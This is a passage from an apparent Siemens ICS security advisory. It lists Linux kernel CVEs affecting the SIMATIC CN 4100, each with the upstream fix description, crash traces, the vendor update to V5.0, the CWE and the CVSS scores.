post_alloc_hook[jt]+0x1b8 prep_new_page+0x28 get_page_from_freelist+0x1edc __alloc_pages_noprof+0x13c alloc_slab_page+0x244 allocate_slab+0x7c ___slab_alloc+0x8e8 kmem_cache_alloc_noprof+0x450 debug_objects_fill_pool+0x22c debug_object_activate+0x40 enqueue_hrtimer[jt]+0xdc hrtimer_start_range_ns+0x5f8 ...\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39844\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm: move page table sync declarations to linux/pgtable.h During our internal testing, we started observing intermittent boot failures when the machine uses 4-level paging and has a large amount of persistent memory: BUG: unable to handle page fault for address: ffffe70000000034 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 0 P4D 0 Oops: 0002 [#1] SMP NOPTI RIP: 0010:__init_single_page+0x9/0x6d Call Trace: __init_zone_device_page+0x17/0x5d memmap_init_zone_device+0x154/0x1bb pagemap_range+0x2e0/0x40f memremap_pages+0x10b/0x2f0 devm_memremap_pages+0x1e/0x60 dev_dax_probe+0xce/0x2ec [device_dax] dax_bus_probe+0x6d/0xc9 [... snip ...] It turns out that the kernel panics while initializing vmemmap (struct page array) when the vmemmap region spans two PGD entries, because the new PGD entry is only installed in init_mm.pgd, but not in the page tables of other tasks. And looking at __populate_section_memmap(): if (vmemmap_can_optimize(altmap, pgmap)) // does not sync top level page tables r = vmemmap_populate_compound_pages(pfn, start, end, nid, pgmap); else // sync top level page tables in x86 r = vmemmap_populate(start, end, nid, altmap); In the normal path, vmemmap_populate() in arch/x86/mm/init_64.c synchronizes the top level page table (See commit 9b861528a801 (\"x86-64, mem: Update all PGDs for direct mapping and vmemmap mapping changes\")) so that all tasks in the system can see the new vmemmap area. However, when vmemmap_can_optimize() returns true, the optimized path skips synchronization of top-level page tables. This is because vmemmap_populate_compound_pages() is implemented in core MM code, which does not handle synchronization of the top-level page tables. Instead, the core MM has historically relied on each architecture to perform this synchronization manually. We're not the first party to encounter a crash caused by not-sync'd top level page tables: earlier this year, Gwan-gyeong Mun attempted to address the issue [1] [2] after hitting a kernel panic when x86 code accessed the vmemmap area before the corresponding top-level entries were synced. At that time, the issue was believed to be triggered only when struct page was enlarged for debugging purposes, and the patch did not get further updates. It turns out that current approach of relying on each arch to handle the page table sync manually is fragile because 1) it's easy to forget to sync the top level page table, and 2) it's also easy to overlook that the kernel should not access the vmemmap and direct mapping areas before the sync. # The solution: Make page table sync more code robust and harder to miss To address this, Dave Hansen suggested [3] [4] introducing {pgd,p4d}_populate_kernel() for updating kernel portion of the page tables and allow each architecture to explicitly perform synchronization when installing top-level entries. With this approach, we no longer need to worry about missing the sync step, reducing the risk of future regressions. The new interface reuses existing ARCH_PAGE_TABLE_SYNC_MASK, PGTBL_P*D_MODIFIED and arch_sync_kernel_mappings() facility used by vmalloc and ioremap to synchronize page tables. pgd_populate_kernel() looks like this: static inline void pgd_populate_kernel(unsigned long addr, pgd_t *pgd, p4d_t *p4d) { pgd_populate(&init_mm, pgd, p4d); if (ARCH_PAGE_TABLE_SYNC_MASK & PGTBL_PGD_MODIFIED) arch_sync_kernel_mappings(addr, addr); } It is worth noting that vmalloc() and apply_to_range() carefully synchronizes page tables by calling p*d_alloc_track() and arch_sync_kernel_mappings(), and thus they are not affected by ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39845\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: x86/mm/64: define ARCH_PAGE_TABLE_SYNC_MASK and arch_sync_kernel_mappings() Define ARCH_PAGE_TABLE_SYNC_MASK and arch_sync_kernel_mappings() to ensure page tables are properly synchronized when calling p*d_populate_kernel(). For 5-level paging, synchronization is performed via pgd_populate_kernel(). In 4-level paging, pgd_populate() is a no-op, so synchronization is instead performed at the P4D level via p4d_populate_kernel(). This fixes intermittent boot failures on systems using 4-level paging and a large amount of persistent memory: BUG: unable to handle page fault for address: ffffe70000000034 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 0 P4D 0 Oops: 0002 [#1] SMP NOPTI RIP: 0010:__init_single_page+0x9/0x6d Call Trace: __init_zone_device_page+0x17/0x5d memmap_init_zone_device+0x154/0x1bb pagemap_range+0x2e0/0x40f memremap_pages+0x10b/0x2f0 devm_memremap_pages+0x1e/0x60 dev_dax_probe+0xce/0x2ec [device_dax] dax_bus_probe+0x6d/0xc9 [... snip ...] It also fixes a crash in vmemmap_set_pmd() caused by accessing vmemmap before sync_global_pgds() [1]: BUG: unable to handle page fault for address: ffffeb3ff1200000 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 0 P4D 0 Oops: Oops: 0002 [#1] PREEMPT SMP NOPTI Tainted: [W]=WARN RIP: 0010:vmemmap_set_pmd+0xff/0x230 vmemmap_populate_hugepages+0x176/0x180 vmemmap_populate+0x34/0x80 __populate_section_memmap+0x41/0x90 sparse_add_section+0x121/0x3e0 __add_pages+0xba/0x150 add_pages+0x1d/0x70 memremap_pages+0x3dc/0x810 devm_memremap_pages+0x1c/0x60 xe_devm_add+0x8b/0x100 [xe] xe_tile_init_noalloc+0x6a/0x70 [xe] xe_device_probe+0x48c/0x740 [xe] [... snip ...]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39846\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: pcmcia: Fix a NULL pointer dereference in __iodyn_find_io_region() In __iodyn_find_io_region(), pcmcia_make_resource() is assigned to res and used in pci_bus_alloc_resource(). There is a dereference of res in pci_bus_alloc_resource(), which could lead to a NULL pointer dereference on failure of pcmcia_make_resource(). Fix this bug by adding a check of res.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39847\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ppp: fix memory leak in pad_compress_skb If alloc_skb() fails in pad_compress_skb(), it returns NULL without releasing the old skb. The caller does: skb = pad_compress_skb(ppp, skb); if (!skb) goto drop; drop: kfree_skb(skb); When pad_compress_skb() returns NULL, the reference to the old skb is lost and kfree_skb(skb) ends up doing nothing, leading to a memory leak. Align pad_compress_skb() semantics with realloc(): only free the old skb if allocation and compression succeed. At the call site, use the new_skb variable so the original skb is not lost when pad_compress_skb() fails.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-772 Missing Release of Resource after Effective Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39848\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ax25: properly unshare skbs in ax25_kiss_rcv() Bernard Pidoux reported a regression apparently caused by commit c353e8983e0d (\"net: introduce per netns packet chains\"). skb->dev becomes NULL and we crash in __netif_receive_skb_core(). Before above commit, different kind of bugs or corruptions could happen without a major crash. But the root cause is that ax25_kiss_rcv() can queue/mangle input skb without checking if this skb is shared or not. Many thanks to Bernard Pidoux for his help, diagnosis and tests. We had a similar issue years ago fixed with commit 7aaed57c5c28 (\"phonet: properly unshare skbs in phonet_rcv()\").\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39849\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: wifi: cfg80211: sme: cap SSID length in __cfg80211_connect_result() If the ssid->datalen is more than IEEE80211_MAX_SSID_LEN (32) it would lead to memory corruption so add some bounds checking.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39853\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: i40e: Fix potential invalid access when MAC list is empty list_first_entry() never returns NULL - if the list is empty, it still returns a pointer to an invalid object, leading to potential invalid memory access when dereferenced. Fix this by using list_first_entry_or_null instead of list_first_entry.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39857\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net/smc: fix one NULL pointer dereference in smc_ib_is_sg_need_sync() BUG: kernel NULL pointer dereference, address: 00000000000002ec PGD 0 P4D 0 Oops: Oops: 0000 [#1] SMP PTI CPU: 28 UID: 0 PID: 343 Comm: kworker/28:1 Kdump: loaded Tainted: G OE 6.17.0-rc2+ #9 NONE Tainted: [O]=OOT_MODULE, [E]=UNSIGNED_MODULE Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.15.0-1 04/01/2014 Workqueue: smc_hs_wq smc_listen_work [smc] RIP: 0010:smc_ib_is_sg_need_sync+0x9e/0xd0 [smc] ... Call Trace: smcr_buf_map_link+0x211/0x2a0 [smc] __smc_buf_create+0x522/0x970 [smc] smc_buf_create+0x3a/0x110 [smc] smc_find_rdma_v2_device_serv+0x18f/0x240 [smc] ? smc_vlan_by_tcpsk+0x7e/0xe0 [smc] smc_listen_find_device+0x1dd/0x2b0 [smc] smc_listen_work+0x30f/0x580 [smc] process_one_work+0x18c/0x340 worker_thread+0x242/0x360 kthread+0xe7/0x220 ret_from_fork+0x13a/0x160 ret_from_fork_asm+0x1a/0x30 If the software RoCE device is used, ibdev->dma_device is a null pointer. As a result, the problem occurs. Null pointer detection is added to prevent problems.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39860\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: Bluetooth: Fix use-after-free in l2cap_sock_cleanup_listen() syzbot reported the splat below without a repro. In the splat, a single thread calling bt_accept_dequeue() freed sk and touched it after that. The root cause would be the racy l2cap_sock_cleanup_listen() call added by the cited commit. bt_accept_dequeue() is called under lock_sock() except for l2cap_sock_release(). Two threads could see the same socket during the list iteration in bt_accept_dequeue(): CPU1 CPU2 (close()) ---- ---- sock_hold(sk) sock_hold(sk); lock_sock(sk) <-- block close() sock_put(sk) bt_accept_unlink(sk) sock_put(sk) <-- refcnt by bt_accept_enqueue() release_sock(sk) lock_sock(sk) sock_put(sk) bt_accept_unlink(sk) sock_put(sk) <-- last refcnt bt_accept_unlink(sk) <-- UAF Depending on the timing, the other thread could show up in the \"Freed by task\" part. Let's call l2cap_sock_cleanup_listen() under lock_sock() in l2cap_sock_release(). [0]: BUG: KASAN: slab-use-after-free in debug_spin_lock_before kernel/locking/spinlock_debug.c:86 [inline] BUG: KASAN: slab-use-after-free in do_raw_spin_lock+0x26f/0x2b0 kernel/locking/spinlock_debug.c:115 Read of size 4 at addr ffff88803b7eb1c4 by task syz.5.3276/16995 CPU: 3 UID: 0 PID: 16995 Comm: syz.5.3276 Not tainted syzkaller #0 PREEMPT(full) Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014 Call Trace: __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x116/0x1f0 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0xcd/0x630 mm/kasan/report.c:482 kasan_report+0xe0/0x110 mm/kasan/report.c:595 debug_spin_lock_before kernel/locking/spinlock_debug.c:86 [inline] do_raw_spin_lock+0x26f/0x2b0 kernel/locking/spinlock_debug.c:115 spin_lock_bh include/linux/spinlock.h:356 [inline] release_sock+0x21/0x220 net/core/sock.c:3746 bt_accept_dequeue+0x505/0x600 net/bluetooth/af_bluetooth.c:312 l2cap_sock_cleanup_listen+0x5c/0x2a0 net/bluetooth/l2cap_sock.c:1451 l2cap_sock_release+0x5c/0x210 net/bluetooth/l2cap_sock.c:1425 __sock_release+0xb3/0x270 net/socket.c:649 sock_close+0x1c/0x30 net/socket.c:1439 __fput+0x3ff/0xb70 fs/file_table.c:468 task_work_run+0x14d/0x240 kernel/task_work.c:227 resume_user_mode_work include/linux/resume_user_mode.h:50 [inline] exit_to_user_mode_loop+0xeb/0x110 kernel/entry/common.c:43 exit_to_user_mode_prepare include/linux/irq-entry-common.h:225 [inline] syscall_exit_to_user_mode_work include/linux/entry-common.h:175 [inline] syscall_exit_to_user_mode include/linux/entry-common.h:210 [inline] do_syscall_64+0x3f6/0x4c0 arch/x86/entry/syscall_64.c:100 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f2accf8ebe9 Code: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007ffdb6cb1378 EFLAGS: 00000246 ORIG_RAX: 00000000000001b4 RAX: 0000000000000000 RBX: 00000000000426fb RCX: 00007f2accf8ebe9 RDX: 0000000000000000 RSI: 000000000000001e RDI: 0000000000000003 RBP: 00007f2acd1b7da0 R08: 0000000000000001 R09: 00000012b6cb166f R10: 0000001b30e20000 R11: 0000000000000246 R12: 00007f2acd1b609c R13: 00007f2acd1b6090 R14: ffffffffffffffff R15: 00007ffdb6cb1490 Allocated by task 5326: kasan_save_stack+0x33/0x60 mm/kasan/common.c:47 kasan_save_track+0x14/0x30 mm/kasan/common.c:68 poison_kmalloc_redzone mm/kasan/common.c:388 [inline] __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:405 kasan_kmalloc include/linux/kasan.h:260 [inline] __do_kmalloc_node mm/slub.c:4365 [inline] __kmalloc_nopro ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39864\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: wifi: cfg80211: fix use-after-free in cmp_bss() Following bss_free() quirk introduced in commit 776b3580178f (\"cfg80211: track hidden SSID networks properly\"), adjust cfg80211_update_known_bss() to free the last beacon frame elements only if they're not shared via the corresponding 'hidden_beacon_bss' pointer.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39865\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: tee: fix NULL pointer dereference in tee_shm_put tee_shm_put have NULL pointer dereference: __optee_disable_shm_cache --> shm = reg_pair_to_ptr(...);//shm maybe return NULL tee_shm_free(shm); --> tee_shm_put(shm);//crash Add check in tee_shm_put to fix it. panic log: Unable to handle kernel paging request at virtual address 0000000000100cca Mem abort info: ESR = 0x0000000096000004 EC = 0x25: DABT (current EL), IL = 32 bits SET = 0, FnV = 0 EA = 0, S1PTW = 0 FSC = 0x04: level 0 translation fault Data abort info: ISV = 0, ISS = 0x00000004, ISS2 = 0x00000000 CM = 0, WnR = 0, TnD = 0, TagAccess = 0 GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0 user pgtable: 4k pages, 48-bit VAs, pgdp=0000002049d07000 [0000000000100cca] pgd=0000000000000000, p4d=0000000000000000 Internal error: Oops: 0000000096000004 [#1] SMP CPU: 2 PID: 14442 Comm: systemd-sleep Tainted: P OE ------- ---- 6.6.0-39-generic #38 Source Version: 938b255f6cb8817c95b0dd5c8c2944acfce94b07 Hardware name: greatwall GW-001Y1A-FTH, BIOS Great Wall BIOS V3.0 10/26/2022 pstate: 80000005 (Nzcv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : tee_shm_put+0x24/0x188 lr : tee_shm_free+0x14/0x28 sp : ffff001f98f9faf0 x29: ffff001f98f9faf0 x28: ffff0020df543cc0 x27: 0000000000000000 x26: ffff001f811344a0 x25: ffff8000818dac00 x24: ffff800082d8d048 x23: ffff001f850fcd18 x22: 0000000000000001 x21: ffff001f98f9fb88 x20: ffff001f83e76218 x19: ffff001f83e761e0 x18: 000000000000ffff x17: 303a30303a303030 x16: 0000000000000000 x15: 0000000000000003 x14: 0000000000000001 x13: 0000000000000000 x12: 0101010101010101 x11: 0000000000000001 x10: 0000000000000001 x9 : ffff800080e08d0c x8 : ffff001f98f9fb88 x7 : 0000000000000000 x6 : 0000000000000000 x5 : 0000000000000000 x4 : 0000000000000000 x3 : 0000000000000000 x2 : ffff001f83e761e0 x1 : 00000000ffff001f x0 : 0000000000100cca Call trace: tee_shm_put+0x24/0x188 tee_shm_free+0x14/0x28 __optee_disable_shm_cache+0xa8/0x108 optee_shutdown+0x28/0x38 platform_shutdown+0x28/0x40 device_shutdown+0x144/0x2b0 kernel_power_off+0x3c/0x80 hibernate+0x35c/0x388 state_store+0x64/0x80 kobj_attr_store+0x14/0x28 sysfs_kf_write+0x48/0x60 kernfs_fop_write_iter+0x128/0x1c0 vfs_write+0x270/0x370 ksys_write+0x6c/0x100 __arm64_sys_write+0x20/0x30 invoke_syscall+0x4c/0x120 el0_svc_common.constprop.0+0x44/0xf0 do_el0_svc+0x24/0x38 el0_svc+0x24/0x88 el0t_64_sync_handler+0x134/0x150 el0t_64_sync+0x14c/0x15\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39866\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs: writeback: fix use-after-free in __mark_inode_dirty() An use-after-free issue occurred when __mark_inode_dirty() get the bdi_writeback that was in the progress of switching. CPU: 1 PID: 562 Comm: systemd-random- Not tainted 6.6.56-gb4403bd46a8e #1 ...... pstate: 60400005 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : __mark_inode_dirty+0x124/0x418 lr : __mark_inode_dirty+0x118/0x418 sp : ffffffc08c9dbbc0 ........ Call trace: __mark_inode_dirty+0x124/0x418 generic_update_time+0x4c/0x60 file_modified+0xcc/0xd0 ext4_buffered_write_iter+0x58/0x124 ext4_file_write_iter+0x54/0x704 vfs_write+0x1c0/0x308 ksys_write+0x74/0x10c __arm64_sys_write+0x1c/0x28 invoke_syscall+0x48/0x114 el0_svc_common.constprop.0+0xc0/0xe0 do_el0_svc+0x1c/0x28 el0_svc+0x40/0xe4 el0t_64_sync_handler+0x120/0x12c el0t_64_sync+0x194/0x198 Root cause is: systemd-random-seed kworker ---------------------------------------------------------------------- ___mark_inode_dirty inode_switch_wbs_work_fn spin_lock(&inode->i_lock); inode_attach_wb locked_inode_to_wb_and_lock_list get inode->i_wb spin_unlock(&inode->i_lock); spin_lock(&wb->list_lock) spin_lock(&inode->i_lock) inode_io_list_move_locked spin_unlock(&wb->list_lock) spin_unlock(&inode->i_lock) spin_lock(&old_wb->list_lock) inode_do_switch_wbs spin_lock(&inode->i_lock) inode->i_wb = new_wb spin_unlock(&inode->i_lock) spin_unlock(&old_wb->list_lock) wb_put_many(old_wb, nr_switched) cgwb_release old wb released wb_wakeup_delayed() accesses wb, then trigger the use-after-free issue Fix this race condition by holding inode spinlock until wb_wakeup_delayed() finished.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-40300\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: x86/vmscape: Add conditional IBPB mitigation VMSCAPE is a vulnerability that exploits insufficient branch predictor isolation between a guest and a userspace hypervisor (like QEMU). Existing mitigations already protect kernel/KVM from a malicious guest. Userspace can additionally be protected by flushing the branch predictors after a VMexit. Since it is the userspace that consumes the poisoned branch predictors, conditionally issue an IBPB after a VMexit and before returning to userspace. Workloads that frequently switch between hypervisor and 